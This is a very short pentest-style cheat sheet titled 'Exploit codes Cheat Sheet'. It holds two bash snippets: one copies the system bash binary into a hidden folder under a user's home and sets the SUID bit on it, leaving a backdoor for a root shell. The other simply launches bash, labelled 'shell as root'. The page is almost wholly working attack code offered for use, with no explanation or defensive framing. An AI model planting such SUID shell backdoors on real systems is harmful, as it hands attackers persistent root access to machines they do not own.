Exploit codes Cheat Sheet

  • suid bash

#!/usr/bin/bash

mkdir /home/user/.myfolder
cp /usr/bin/bash  /home/user/.myfolder/bash

chmod +s /home/user/.myfolder/bash
  • shell as root

#!/usr/bin/bash

/usr/bin/bash

Last updated